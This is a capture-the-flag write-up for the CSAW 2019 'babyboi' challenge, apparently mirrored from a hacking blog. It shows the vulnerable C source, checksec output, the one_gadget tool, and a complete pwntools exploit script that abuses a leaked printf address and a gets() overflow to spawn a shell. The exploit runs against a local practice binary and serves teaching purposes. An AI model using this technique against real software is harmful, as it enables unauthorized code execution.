mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 04:16:59 +00:00
308 lines
12 KiB
Markdown
308 lines
12 KiB
Markdown
# Csaw 2019 babyboi
|
||
|
||
## Downloading the binary file
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/baby_boi
|
||
|
||
baby_boi 100%[==========================================================>] 8.41K --.-KB/s in 0.001s
|
||
|
||
2021-03-06 15:19:56 (16.1 MB/s) - ‘baby_boi’ saved [8608/8608]
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/baby_boi.c
|
||
|
||
baby_boi.c 100%[==========================================================>] 274 --.-KB/s in 0s
|
||
|
||
2021-03-06 15:20:10 (27.1 MB/s) - ‘baby_boi.c’ saved [274/274]
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/libc-2.27.so
|
||
|
||
libc-2.27.so 100%[==========================================================>] 1.94M 2.79MB/s in 0.7s
|
||
|
||
2021-03-06 15:20:19 (2.79 MB/s) - ‘libc-2.27.so’ saved [2030544/2030544]
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ file baby_boi
|
||
baby_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1ff55dce2efc89340b86a666bba5e7ff2b37f62, not stripped
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ chmod +x baby_boi
|
||
|
||
|
||
|
||
` ![]()
|
||
|
||
## Solution
|
||
|
||
first let's run the binary to see what it does:
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ ./baby_boi
|
||
Hello!
|
||
Here I am: 0x7f158ee88590
|
||
ok
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ ./baby_boi
|
||
Hello!
|
||
Here I am: 0x7f7090800590
|
||
hello
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ ./baby_boi
|
||
Hello!
|
||
Here I am: 0x7f4a5ed57590
|
||
bye
|
||
|
||
|
||
|
||
The binary basically outputs some text, then it lekas some memorya ddress, and then lets us put in some text. Let's run pwn checksec on it and check what are the other files about:
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ pwn checksec baby_boi
|
||
[*] '/home/nothing/binexp/2/bboi/baby_boi'
|
||
Arch: amd64-64-little
|
||
RELRO: Partial RELRO
|
||
Stack: No canary found
|
||
NX: NX enabled
|
||
PIE: No PIE (0x400000)
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ cat baby_boi.c
|
||
#include
|
||
#include
|
||
|
||
int main(int argc, char **argv[]) {
|
||
setvbuf(stdout, NULL, _IONBF, 0);
|
||
setvbuf(stdin, NULL, _IONBF, 0);
|
||
setvbuf(stderr, NULL, _IONBF, 0);
|
||
|
||
char buf[32];
|
||
printf("Hello!\n");
|
||
printf("Here I am: %p\n", printf);
|
||
gets(buf);
|
||
}
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ ./libc-2.27.so
|
||
zsh: permission denied: ./libc-2.27.so
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ chmod +x libc-2.27.so
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ ./libc-2.27.so
|
||
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!
|
||
|
||
|
||
|
||
|
||
Now here we see that the binary just prompts us for text, and looking at the sourcecode, we see that it prints the libc address for printf. After that, it makes a **gets** call on a fixed size buffer of 32 bytes (0x20 bytes) so this means that we have a buffer overflow. We also see that the libc version is **2.27** The only binary protection that we have is NX.
|
||
|
||
To exploit this, we will use the buffer overflow vulnerability we just mentionned, and then we will call a oneshot gadget, which is a single ROP gadget in the libc library that will call **execve("/bin/sh")** given the right conditions, we find this using the [one_gadget](https://github.com/david942j/one_gadget) utility:
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [~]
|
||
→ sudo pacman -S rubygems
|
||
[sudo] password for nothing:
|
||
warning: rubygems-3.2.13-1 is up to date -- reinstalling
|
||
resolving dependencies...
|
||
looking for conflicting packages...
|
||
|
||
Package (1) Old Version New Version Net Change
|
||
|
||
extra/rubygems 3.2.13-1 3.2.13-1 0.00 MiB
|
||
|
||
Total Installed Size: 0.92 MiB
|
||
Net Upgrade Size: 0.00 MiB
|
||
|
||
:: Proceed with installation? [Y/n] y
|
||
(1/1) checking keys in keyring [----------------------------------------------] 100%
|
||
(1/1) checking package integrity [----------------------------------------------] 100%
|
||
(1/1) loading package files [----------------------------------------------] 100%
|
||
(1/1) checking for file conflicts [----------------------------------------------] 100%
|
||
(1/1) checking available disk space [----------------------------------------------] 100%
|
||
:: Processing package changes...
|
||
(1/1) reinstalling rubygems [----------------------------------------------] 100%
|
||
:: Running post-transaction hooks...
|
||
(1/1) Arming ConditionNeedsUpdate...
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [~]
|
||
→ gem install one_gadget
|
||
Fetching one_gadget-1.7.4.gem
|
||
Fetching bindata-2.4.8.gem
|
||
Fetching elftools-1.1.3.gem
|
||
WARNING: You don't have /home/nothing/.local/share/gem/ruby/2.7.0/bin in your PATH,
|
||
gem executables will not run.
|
||
Successfully installed bindata-2.4.8
|
||
Successfully installed elftools-1.1.3
|
||
Successfully installed one_gadget-1.7.4
|
||
3 gems installed
|
||
|
||
|
||
|
||
Here for some reason the binary to run one_gadget isn't in my $PATH so i have to make a symlink to it:
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
|
||
→ sudo updatedb;locate one_gadget | grep 'gadget$'
|
||
/home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget
|
||
/home/nothing/.local/share/gem/ruby/2.7.0/gems/one_gadget-1.7.4/bin/one_gadget
|
||
/home/nothing/.local/share/gem/ruby/2.7.0/gems/one_gadget-1.7.4/lib/one_gadget
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
|
||
→ /home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget
|
||
Usage: one_gadget [options]
|
||
-b, --build-id BuildID BuildID[sha1] of libc.
|
||
-f, --[no-]force-file Force search gadgets in file instead of build id first.
|
||
-l, --level OUTPUT_LEVEL The output level.
|
||
OneGadget automatically selects gadgets with higher successful probability.
|
||
Increase this level to ask OneGadget show more gadgets it found.
|
||
Default: 0
|
||
-n, --near FUNCTIONS/FILE Order gadgets by their distance to the given functions or to the GOT functions of the given file.
|
||
-r, --[no-]raw Output gadgets offset only, split with one space.
|
||
-s, --script exploit-script Run exploit script with all possible gadgets.
|
||
The script will be run as 'exploit-script $offset'.
|
||
--info BuildID Show version information given BuildID.
|
||
--base BASE_ADDRESS The base address of libc.
|
||
Default: 0
|
||
--version Current gem version.
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/21 ] [~]
|
||
→ echo $PATH
|
||
/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl:/var/lib/snapd/snap/bin
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
|
||
→ sudo ln -s /home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget /usr/local/bin/one_gadget
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
|
||
→ zsh
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
|
||
→ one_gadget
|
||
Usage: one_gadget [options]
|
||
-b, --build-id BuildID BuildID[sha1] of libc.
|
||
-f, --[no-]force-file Force search gadgets in file instead of build id first.
|
||
-l, --level OUTPUT_LEVEL The output level.
|
||
OneGadget automatically selects gadgets with higher successful probability.
|
||
Increase this level to ask OneGadget show more gadgets it found.
|
||
Default: 0
|
||
-n, --near FUNCTIONS/FILE Order gadgets by their distance to the given functions or to the GOT functions of the given file.
|
||
-r, --[no-]raw Output gadgets offset only, split with one space.
|
||
-s, --script exploit-script Run exploit script with all possible gadgets.
|
||
The script will be run as 'exploit-script $offset'.
|
||
--info BuildID Show version information given BuildID.
|
||
--base BASE_ADDRESS The base address of libc.
|
||
Default: 0
|
||
--version Current gem version.
|
||
|
||
|
||
|
||
|
||
Now that's done, let's run one_gadget on the libc library:
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ one_gadget libc-2.27.so
|
||
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
|
||
constraints:
|
||
rsp & 0xf == 0
|
||
rcx == NULL
|
||
|
||
0x4f322 execve("/bin/sh", rsp+0x40, environ)
|
||
constraints:
|
||
[rsp+0x40] == NULL
|
||
|
||
0x10a38c execve("/bin/sh", rsp+0x70, environ)
|
||
constraints:
|
||
[rsp+0x70] == NULL
|
||
|
||
|
||
|
||
So here we see that we can leverage the libc infoleak with the printf statement to the libc printf which we know the libc version, we know the address space of the libc. For which onegadget to pick, it's usually trial and error to see what conditions will work. So let's make our exploit as follows:
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||
→ vim exploit.py
|
||
|
||
|
||
|
||
|
||
from pwn import *
|
||
|
||
# Establish the target
|
||
target = process('./baby_boi', env={"LD_PRELOAD":"./libc-2.27.so"})
|
||
libc = ELF('libc-2.27.so')
|
||
|
||
print(target.recvuntil("ere I am: "))
|
||
|
||
# Scan in the infoleak
|
||
leak = target.recvline()
|
||
leak = leak.strip(b"\n")
|
||
|
||
base = int(leak, 16) - libc.symbols['printf']
|
||
|
||
print("wooo:" + hex(base))
|
||
|
||
# Calculate oneshot gadget
|
||
oneshot = base + 0x4f322
|
||
|
||
payload = b""
|
||
payload += b"\x00"*0x28 # Offset to oneshot gadget
|
||
payload += p64(oneshot) # Oneshot gadget
|
||
|
||
# Send the payload
|
||
target.sendline(payload)
|
||
|
||
target.interactive()
|
||
|
||
|
||
|
||
Now execute it and we see the following:
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/bboi]
|
||
→ python3 exploit.py
|
||
[+] Starting local process './baby_boi': pid 540529
|
||
[*] '/home/nothing/binexp/2/bboi/libc-2.27.so'
|
||
Arch: amd64-64-little
|
||
RELRO: Partial RELRO
|
||
Stack: Canary found
|
||
NX: NX enabled
|
||
PIE: PIE enabled
|
||
Hello!
|
||
Here I am:
|
||
wooo:0x7fedeb22e012
|
||
[*] Switching to interactive mode
|
||
$ cat flag.txt
|
||
flag{baby_boi_dodooo_doo_doo_dooo}
|
||
|
||
|
||
And that's it! we have been able to spawn a shell and print out the flag.
|
||
|
||
## Title
|
||
|
||
text
|
||
|
||
|
||
|
||
|
||
` ![]()
|
||
|
||
## Title
|
||
|
||
text
|
||
|
||
|
||
|
||
|
||
` ![]()
|
||
|